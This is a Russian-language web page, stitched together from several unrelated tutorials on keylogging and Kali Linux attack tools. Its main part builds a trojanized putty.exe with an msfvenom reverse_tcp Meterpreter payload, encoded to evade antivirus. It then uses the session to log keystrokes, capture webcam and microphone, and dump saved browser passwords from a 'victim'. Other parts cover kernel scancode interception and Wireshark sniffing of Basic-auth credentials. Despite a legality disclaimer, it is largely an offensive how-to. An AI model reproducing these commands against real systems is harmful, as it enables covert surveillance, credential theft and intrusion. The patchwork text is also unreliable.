Как сделать кейлоггер kali linux

Обновлено: 04.07.2024

Как работает драйвер клавиатуры

Согласись, для того что бы написать
грамотный keylogger нужно знать, каким образом
нажатие клавиши на клавиатуре
регистрируется в системе. Смотри схему:

handle_scancode -> put_queue -> tty_queue -> receive_buf ->
буфер tty_ldisc -> tty_read -> /dev/ttyX -> sys_read ->
процесс пользователя

Сначала, когда вы нажимаете клавишу на
клавиатуре, устройство посылает
соответствующий скан код клавиши
клавиатурному драйверу. Единичное нажатие
может произвести последовательность до
шести кодов. Функция handle_scancode() в
клавиатурном драйвере обрабатывает поток
кодов и конвертирует их (при помощи функции
перевода kbd_translate()) в серию событий типа "клавиша
нажата", "клавиша отпущена".
Каждый баттон имеет свой уникальный код от 1
до 127. Нажатие клавиши генерирует этот код, а
отпускание - этот код + 128 (например когда вы
нажимаете 'a' то на гора выдается код 30, а
когда отпускаете - 158).

Дальше код клавиши в соответствии с
картой клавиш конвертится обратно в сам
символ (вообще говоря при этом учитываются
нажатые функциональные клавиши - Shift , AltGr,
Control, Alt, ShiftL, ShiftR, CtrlL и CtrlR, комбинации
активных "модификаторов" - CapsLock
например) и передается по цепочке буферов и
очередей к терминалу.

Драйвер клавиатуры может работать в
четырех режимах:

    scancode (RAW MODE): приложенице получает
    сканкод из потока и дальше обрабатывает
    его собственным драйвером (пример тому - Х11).

Эти режимы в конце концов и определяют,
что приложение получит в результате
нажатия клавиши. (Кстати говоря: режим
работы драйвера клавиатуры можно узнать
или изменить с помощью kbd_mode(). Но
помни! Смена режима может вообще оставить
тебя без клавиатуры!)

Kernel based keylogger

В общем говоря, мы можем перехватить поток
кодов двумя способами: написать обработчик
прерывания клавиатуры или вмешаться в
передачу на одном из описанных выше этапов.

Обработчик прерывания

Гляди как реализуется первый вариант. В
архитектуре Intel для контроллера клавиатуры
выделено первое прерывание. Когда оно
возникает наш обработчик должен прочитать
сканкод и статус клавиатуры. События
клавиатуры можно получить на 0х60 порту (Keyboard
data register), а ее состояние - на 0х64 (Keyboard status
register).

scancode = kbd_read_input();
key_status = kbd_read_status();
log_scancode(scancode);

Этот обработчик канает только для
архитектуры Intel, так что в случае переноса
на другую платформу он работать
естественно не будет. Хотя, честно говоря,
где ты у нас видел другие платформы.

Замена функций

Это начальная функция драйвера
клавиатуры (keyboard.c), она обрабатывает скан
коды, получаемые от клавиатуры:

Мы можем заменить настоящий handle_scancode()
собственной процедурой, которая помимо
всего прочего будет записывать коды клавиш.

После использования msf под kali linux для получения оболочки целевой системы мы можем собрать больше информации о целевой системе с помощью meterpreter, включая запись ввода с клавиатуры целевой системы. Просматривая ввод с клавиатуры цели, есть шанс получить системный пароль цели, пароль социальной учетной записи и т. Д. Нам очень помогает дальнейшее проникновение.
О том, как получить целевую оболочку, вы можете прочитать в моей последней статье
Используйте msf для проникновения в Windows xp

начать

Целевая машина: Windows XP sp3 English

Я не буду вдаваться в подробности получения оболочки, но начну с получения сеанса Meterpreter.
Сначала выполните команду ps, используйте команду ps для просмотра всех процессов, запущенных на целевой машине.



Здесь мы хотим перенести текущий сеанс в процесс проводника, цель состоит в том, чтобы избежать прерывания сеанса из-за закрытия других процессов и перенести сеанс в проводник, который является файловый ресурс Windows В диспетчере сессия не закроется случайно.
Проверьте здесь процесс проводника и запишите его PID, вы увидите, что это 1996 год.

Затем перенесите сеанс, выполните команду

Затем запустите модуль кейлоггера

После инициализации он начал записывать ввод с клавиатуры
В этот раз мы подошли к целевой машине xp и попытались ввести некоторые символы, чтобы посмотреть, может ли это быть захвачено msf
После ввода xp вернитесь в msf, Ctrl + c, чтобы закрыть инструмент записи

По окончании работы инструмента msf создает текстовый файл в этом месте, в котором записывается ввод с клавиатуры целевой машины.
Давайте откроем этот текстовый файл

Вы можете видеть, что в записанном тексте есть <CR> , В чем смысл возврата каретки.

Здесь мы получаем учетную запись администратора и пароль противоположной системы. Конечно, при реальном проникновении это будет не так просто. Иногда в нем записаны тысячи знаков бесполезной информации. Нужно набраться терпения, чтобы узнать по этим символам Полезная информация, вот только демонстрация.

Привет. Начну с того, что применять данную информацию против кого-либо, с кем вы не договорились заранее и не получили разрешение(желательно в письменном виде с подписью) - незаконно. Все действия лежат только на ваших плечах и совести. Вся информация предоставлена в ознакомительных целях. Иначе за вами выедут.

Начнём. Возможно, это Часть 1.

Если вы заглянули сюда - значит вы чуточку знаете, что такое Kali Linux и metasploit framework. Если нет, то:

Kali Linux — GNU/Linux-LiveCD, возникший как результат слияния WHAX и Auditor Security Collection. Проект создали Мати Ахарони (Mati Aharoni) и Макс Мозер (Max Moser). Предназначен прежде всего для проведения тестов на безопасность.

Metasploit Framework — удобная платформа для создания и отладки эксплойтов. Кроме того, проект включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям компьютерной безопасности.

Хакер: Kali Linux 2017.1

Жертва: Windows 10 1703 x64

Для начала нам нужно, чтобы наш заражённый файл был запущен на компе/ноутбуке жертвы. Как вы это будете делать - без понятия. Я буду применять свой комп, а Кали у меня на ноуте.

Процесс создания заражённого файла:

1. Внезапно нам нужен файл. В моём примере будет putty, хотя можно юзануть и exe какого-нибудь хрома, например, и потом заражённый файл вернуть на место взамен оригинального. Вы ничего не видели и не знаете

2. Переходим в папку с файлом, либо будем писать полный путь до файла, что не круто.

3. Пишем msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.0.101 -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o putty3.exe

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

Поясню, что тут есть:

msfvenom - собсно, создатель троянов/инжектор троянов в .exe

-a x86 - архитектура x86. Для x86 приложений

-x putty.exe - файл, который мы заражаем

-k - Без понятия, вот как в оригинале: Preserve the template behavior and inject the payload as a new thread. Что-то типа "встроить нагрузку"

-p windows/meterpreter/reverse_tcp - "полезная нагрузка"

lhost=192.168.0.101 - ip атакующего

-e x86/shikata_ga_nai - шифрование, чтоб антивирусы не палили

-i 5 - количество итераций шифрования. У меня 5.

-b "\x00" - что-то связанное с "плохими символами(bad-chars)"

-f exe - формат файла

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

У меня тут 10 итераций(-i 10).

Данный файл любым методом переносится на комп жертвы и запускается или удаляется антивирусом сразу после переноса

35/64, но для тестов сгодится. Если шифровать разными шифрованиями тыщу раз, то будет меньше палева.

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

Запускаем metasploit framework и ждём.

Нас встретит "msf >"

Команды выглядят так:

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > show options (показывает, что можно настроить)

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

Пишем "set LHOST 192.168.0.101", в моём случае. У вас, ясное дело, ваш ip Kali Linux.

LHOST и LPORT должны быть теми, которые мы указали в msfvenom.

Подразумевается, что жертва уже запустила файл и у нас есть доступ. Иначе просто не откроется сессия.

Заражённая программа внешне ничем не отличается от оригинала:

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

Обычная программа. Только закрывается через несколько секунд.

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

На ноуте в это время пишем exploit и видим это:

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

Если вы напишете сначала на кириллице, а потом сотрёте и напишете как надо - всё равно символ останется и выдаст ошибку, что у меня и произошло. Странный баг, но забавный. Иногда бесячий.

"meterpreter > " означает, что мы в системе и можем делать что угодно, но перед этим надо перекинуть "заражённый процесс в другой процесс". Чтобы путти мог закрыться и не закрыл вместе с собой сессию.

Пишем ps и видим список процессов. Надо выбрать тот, который закрывать не будут. Например, проводник, который именуется explorer.exe

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

PID у него 3044. 2800 это PPID и он нам не нужен.

пишем "migrate 3044" и готово.

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

5412 - прошлый PID. Если закрыть putty - закроется и соединение. После миграции в explorer.exe Путти может спокойно закрыться и соединение не пропадёт.

Мы в системе. Начинается самое интересное. Сверху текст, снизу картинка. Как и везде.

Возможности meterpreter.

Пойдём от простого к интересному. Некоторую дичь затрагивать не буду. Она интересна, вероятно, каким-то редким людям и в некоторых случаях.

1. help. Выдаст возможные команды, но далеко не все. Даже показывать не буду, там крайне мало инфы.

2. sysinfo. и так понятно, что даёт

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

3. getsystem - должно дать права админа, но на Win10 не работает

4. getuid - узнать имя компа

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

5. screenshot - делает снимок экрана жертвы в нативном разрешении монитора жертвы. Куда сохраняет - написано. Скриншот в скриншоте.

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

6. Команды для вебкамеры:

webcam_list - список вебкамер у жертвы

webcam_snap - делает снимок на камеру

webcam_stream - вебка в прямом эфире

Не смогу показать, нет вебкамеры и вряд-ли теперь будет.

7. record_mic - записывает с микрофона, но у меня сразу же останавливает. Наверное, особенности Win10 и того, что не получилось ввести getsystem.

keyscan_start - включает кейлоггер

keyscan_dump - показывает, что напечатали

keyscan_stop - выключает кейлоггер

Ловит только английские буквы

ololoo, test keylogger

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

9. uictl [enable/disable] Как сделать кейлоггер kali linux - должно включать/выключать клаву/мышь/и то и другое, но на Win10 не сработало. На Win7 работало.

Неинтересное закончилось, пора переходить к интересному:

Команды вида "run *что-то*". Они уже более интересные. Тут уже нет порядка крутости, тут всё годно. Может быть, когда-нибудь, я проверю все команды и сделаю пост на пикабу. Прям такой "тру обзор", но это не точно.

Чтобы посмотреть все доступные команды - пишем "run " и жмём Таб два раза. Нас спросят "хотите ли вы вывести всё на экран?" а там 200+ позиций. Жмём "y", потом пробел несколько раз, отмотав до конца и видим примерно это:

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

Всё я показывать не буду, там очень много. Пост не резиновый.

Ах да, иногда может писать, что скрипт не поддерживается в meterpreter. Это дубликаты другого скрипта, который там напишут.

1. run post/windows/manage/enable_rdp - должно включать rdp, но "insufficient privileges", потому что getsystem не работает. Вероятно, в других Виндах заработает.

2. run post/windows/gather/enum_chrome и /enum_firefox - уносит данные из этих браузеров. В т.ч. и пароли. На этапе "Preferences" задумывается, но не зависает. Сохраняет в /root/.msf4/loot и удаляет при закрытии MSF.

Открыть можно через SQLite Database Browser, который есть в том же Кали, хоть это и текстовый документ. Надо только в программе выбрать "All files".

Файлы Preference и Decrypted открываются в текстовом редакторе.

Про дубликаты: там есть "run enum_chrome", но MSF пожалуется, что он недоступен в этой версии и скажет "юзайте run post/windows/gather/enum_chrome". Если что-то не работает - читайте, что предлагает MSF.

Что же можно там узнать?

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

2.2. Историю скачивания файлов

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

2.3. Историю ссылок скачивания файлов

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

2.4. Гуглопоиск, видимо

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

2.5. Историю посещения сайтов

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

2.7. Логины/пароли/сайты, куда подходят логины и пароли

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

2.9. Телефоны в автозаполнении(если повезёт)

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

2.10. Адреса в автозаполнении(если повезёт)

Kali Linux. Возможности Meterpreter. Часть 1. Kali linux, Хакеры, Metasploit, Длиннопост

На этом пока всё, надо сделать базу к следующему посту и проверить ещё больше вещей в том списке. Вторая часть будет завтра, скорее всего. Но это не точно.

Я надеюсь, Вам понравилось взламывать. Давайте рассмотрим другие инструменты Kali Linux. Мы уже рассмотрели некоторый перечень инструментов, такие как «nmap», «netdiscover», «nessus» и т.д.

Также я упоминал «wpscan», «drupalscan». Мы рассмотрели анализ баз данных, и подобрали имя пользователя и пароль к ней. В рамках данного курса мы не будем рассматривать раздел беспроводных атак, а также реверс-инжиниринг. Это темы для отдельных курсов. Продолжим рассматривать инструменты Kali, и перейдем в раздел сниффинг и спуфинг. В частности нас будет интересовать инструмент для сниффинга, который называется «wireshark»:

wireshark

Этот инструмент работает на нашем компьютере, анализируя сетевой трафик и перехватывая все пакеты. Также можно указать, какие пакеты перехватывать. В этом уроке мы рассмотрим wireshark более детально, и я покажу Вам, как искать имена пользователей и пароли, которые передаются в Вашей сети.

Для начала выбираем меню «Capture», далее «Options»:

capture - options wireshark

Здесь нужно выбрать сетевой интерфейс, с которого Вы будете перехватывать трафик. Давайте я объясню подробнее. У большинства современных компьютеров или ноутбуков есть несколько сетевых интерфейсов. Как правило, это проводной и беспроводной интерфейс.

Например, если Вы используете стационарный компьютер в университете, то на не используется проводной интерфейс, т.е. к нему подключен сетевой кабель, который обеспечивает доступ к сети.

Если Вы работаете с ноутбука дома, то скорее всего у Вас беспроводной интерфейс.

Обратите внимание, что я использую Kali в качестве виртуальной машины. Виртуальная машина думает, что это проводное соединение, а не беспроводное, т.е. eth0. Мы проговаривали это в лекции по настройке сети. Имейте ввиду, что если бы использовалось беспроводное соединение, то сетевой интерфейс отображался как адаптер «wlan0», но так как у меня проводное соединение, то указан интерфейс «eth0».

Очень важно понимать разницу, так как если Вы используете виртуальную машину и пытаетесь найти беспроводной интерфейс, то у Вас ничего не получиться. Однако, если Вы установили Kali напрямую, то Вы используете беспроводной интерфейс, то ищите wlan. Надеюсь с этим нет вопросов.

Нажимаем кнопку «start», чтобы начать мониторить или сниффить сеть:

мониторинг сети

Итак, я вернулся на сервер TomCat, и авторизировался на нем. Таким образом, появляется сценарий, при котором пользователь admin, т.е. я, авторизируется в панеле управления, а хакер сидит в wireshark, и надеется получить учетные данные TomCat. После авторизации у нас будут появляться пакеты, и так как я использую закрытую сеть, то используется немного пакетов. Однако, если использовать другие инструменты, открытую сеть, то в Wireshark будет использовано больше пакетов.

В этом потоке очень сложно найти нужную информацию, поэтому используются фильтры. По сути фильтр отображает то, что нам нужно, и он игнорирует все остальные пакеты, и отображает только нужные. Для редактирования используем кнопку «Expression»:

tomcat authorisation
expression

протокол http wireshark

http contains wireshark

WireShark не понимает то, что мне нужно. Если остановить курсор мыши на слове «contains», мы получим вывод более полного перечня информации.

основное окно wireshark

Мы можем поиграться с фильтром, выводя различные пакеты:

http contains admin wireshark

И если кликать по выведенным пакетам, то отображается их содержимое.

Например, я ищу TomCat:

http contains tomcat wireshark

В этом видео нас интересуют учетные данные (имя пользователя и пароль), который админ использовал при авторизации в панели управления. Они нам нужны для того, чтобы взломать систему.

Пользователь, исходя из этих данных успешно авторизировался. Просматривая содержимое этого пакета мы можем увидеть информацию «Authorization: Basic»:

Authorization: Basic

Итак, почему нам нужна именно эта строка? На самом деле – это есть имя пользователя и пароль, который использовал admin. Данная строка не зашифрована, а обфусцированна, и в данном случае она закодирована с помощью base64. Это тип кодирования, который можно определить по символу равно «=» в конце. На самом деле base64 – это один из самых простых методов кодировки, и его очень легко раскодировать.

Копируем данную запись, нажав правую клавишу мыши и далее «Copy» «Value».

В интернете ищем декодер base64:

decoder base64

Как видим, внизу страницы находятся имя пользователя и пароль, которые были закодированы.

Мы выбрали WireShark, потому что он самый популярный, и настроили его для перехвата трафика из сети, а затем использовали фильтры просмотра, чтобы получить закодированные учетные данные и раскодировали их.

Нам совершенно не важно какой длины будет пароль, так как мы можем перехватить любую его длину.

После того, как мы перехватили логин и пароль, нам нужно авторизироваться в панели управления, чтобы проверить наличие доступа, а затем вернуться в Metasploit, настроить эксплойт, и получить доступ к системе.

Читайте также: